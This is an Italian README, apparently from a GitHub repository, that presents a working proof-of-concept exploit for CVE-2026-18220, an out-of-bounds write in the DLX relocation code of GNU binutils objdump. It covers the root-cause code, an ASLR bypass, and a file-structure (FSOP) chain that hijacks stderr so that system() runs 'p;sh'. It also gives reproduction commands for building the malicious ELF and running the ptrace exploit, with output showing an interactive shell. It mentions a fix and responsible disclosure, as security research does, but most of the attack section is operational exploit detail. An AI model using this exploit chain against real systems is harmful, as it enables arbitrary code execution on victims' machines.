
objdump-Out-Of-Bounds-write — Updated!
Prova di concetto (PoC) che dimostra la CVE-2026-18220, una vulnerabilità di scrittura fuori dai limiti (OOB) nel backend DLX ELF di GNU binutils (specificamente innescata tramite `objdump -g`)
GNU Binutils objdump — Scrittura fuori dai limiti → FSOP → Esecuzione di codice arbitrario
Target: GNU Binutils (tutte le versioni fino alla HEAD) — objdump
Ambiente: Debian 13 (Trixie), glibc 2.41, x86_64
Impatto: esecuzione di codice arbitrario
Vettore: file ELF appositamente creato elaborato da objdump -g
ASLR: eluso (delta mmap deterministico)
Ringraziamenti
Un enorme ringraziamento a bikini per il riconoscimento e per la sua correttezza riguardo a questa scoperta. È un gran tipo, ho avuto il piacere di chiacchierare con lui, e ha fatto alcune scoperte fantastiche per conto suo. Andate a vedere il suo lavoro!
Vulnerabilità
Causa principale — bfd/elf32-dlx.c
Il gestore di rilocazione R_DLX_RELOC_26_PCREL (elf32_dlx_relocate26) esegue una lettura/scrittura di 4 byte all'indirizzo data + reloc_entry->address senza verificare l'offset rispetto alla dimensione della sezione. Poiché la funzione restituisce bfd_reloc_ok, il controllo generico dei limiti in bfd/reloc.c viene completamente aggirato.
// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
vallo = ~(vallo | 0xFC000000) + 1; // sign-extend 26 bits
val = (sym->section->vma + sym->value) - vallo;
insn = (insn & 0xFC000000) | (val & 0x03FFFFFF);
bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB write
return bfd_reloc_ok; // skips bounds check
L'offset reloc_entry->address viene letto direttamente dal file ELF e può puntare arbitrariamente oltre il buffer della sezione.
Trucco della prossimità mmap
Su x86_64, gli offset ELF32 vengono estesi con zeri, limitando le scritture a offset positivi. Una sezione .debug_info ≥ 128 KB costringe malloc() a usare mmap(), posizionando il buffer adiacente al segmento dati di libc:
┌──────────────────────────────────────┐ ← same mmap region
│ .debug_info buffer (192 KB) │ data = 0x7f...d010
│ ├── fake _IO_wide_data (+0x1000) │
│ └── fake _IO_jump_t (+0x2000) │
│ ... │
│ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0
│ _IO_wfile_jumps │ wfile = data + 0x218218
│ system() │ system() = data + 0x87100
└──────────────────────────────────────┘
Il delta stderr - data = 0x21A4D0 è costante tra le diverse esecuzioni con ASLR perché entrambe le regioni sono allocate dalla stessa mmap durante il caricamento di libc.
Catena di sfruttamento FSOP
Percorso di esecuzione
objdump writes to stderr ("Can't get contents for section...")
└─► _IO_wfile_overflow(stderr)
└─► _IO_wdoallocbuf(stderr)
└─► _IO_WDOALLOCATE(stderr)
= stderr->_wide_data->_wide_vtable->__doallocate(stderr)
= fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/main/stderr)
= system(stderr)
= system("p;sh") ← stderr._flags[0:4] = "p;sh"
Le 5 scritture fuori dai limiti (PCREL26)
| # | Destinazione (offset da data) | Effetto |
|---|---|---|
| 0 | 0x21A4CF = stderr − 1 | _flags[0:3] = cmd[0..2] → inizio dell'argomento di system() |
| 1 | 0x21A4F8 = stderr + 0x28 | _IO_write_ptr ≠ 0 → forza il flush → overflow |
| 2 | 0x21A56F = stderr + 0x9F | _wide_data[0:3] → punta a fake _IO_wide_data |
| 3 | 0x21A5A7 = stderr + 0xD7 | vtable[0:3] → _IO_wfile_jumps |
| 4 | 0x21A4D2 = stderr + 2 | _flags[3] = cmd[3], padding azzerato → terminatore null |
Strutture fittizie (nel buffer della sezione)
data + 0x1000 : fake _IO_wide_data
+0xE0 : _wide_vtable → data + 0x2000
data + 0x2000 : fake _IO_jump_t
+0x68 : __doallocate → system()
Vincoli sul comando
L'exploit supporta comandi da 2 a 4 caratteri. La reloc 0 scrive _flags[0:3] e la reloc 4 scrive _flags[3] e azzera il padding, dando a system() fino a 4 caratteri prima del terminatore null naturale.
Solo i primi due byte sono vincolati dalla disposizione dei flag FILE di glibc:
| Bit | Flag | Vincolo | Motivo |
|---|---|---|---|
| 1 | _IO_UNBUFFERED | cmd[0] & 0x02 == 0 | altrimenti _IO_wdoallocbuf salta __doallocate |
| 3 | _IO_NO_WRITES | cmd[0] & 0x08 == 0 | altrimenti overflow restituisce subito WEOF |
| 13 | _IO_IS_FILEBUF | cmd[1] & 0x20 != 0 | richiesto per entrare nel blocco doallocate |
cmd[2] e cmd[3] sono senza vincoli.
| Comando | Byte | Effetto |
|---|---|---|
"ps" | 70 73 | elenca i processi |
"p;sh" | 70 3B 73 68 | avvia una shell interattiva ← il più utile |
"p;ls" | 70 3B 6C 73 | elenca la directory |
"p;id" | 70 3B 69 64 | stampa uid/gid |
Riproduzione
Prerequisiti
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)
Genera il payload + esegui l'exploit
# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin
# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh" # interactive shell
python3 poc_ptrace.py --cmd "p;id" # print uid/gid
python3 poc_ptrace.py # default: "ps"
L'exploit riprova automaticamente fino a 5 volte in caso di mancata corrispondenza del byte-3 dell'ASLR (~12% per tentativo), raggiungendo un tasso di successo di ~99.998%.
Output atteso
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh' bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr = 0x0075b1eda524e0
[*] system = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0 (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20 (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000 (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done
Correzione suggerita
Aggiungi un controllo dei limiti in elf32_dlx_relocate26() prima di accedere ai dati della sezione:
if (reloc_entry->address + 4 > input_section->size)
return bfd_reloc_outofrange;
File
| File | Descrizione |
|---|---|
poc_generate.py | Genera il payload ELF DLX malevolo (exploit.bin) con 5 reloc fuori dai limiti |
poc_ptrace.py | Exploit autonomo — bypass dell'ASLR basato su ptrace, ciclo di retry, nessun GDB richiesto |
exploit.bin | Payload pregenerato (comando predefinito "p;sh") |
Divulgazione
Questa vulnerabilità è stata segnalata ai maintainer di GNU Binutils. Il codice dell'exploit è fornito esclusivamente a scopo di ricerca sulla sicurezza autorizzata.
Patch
https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5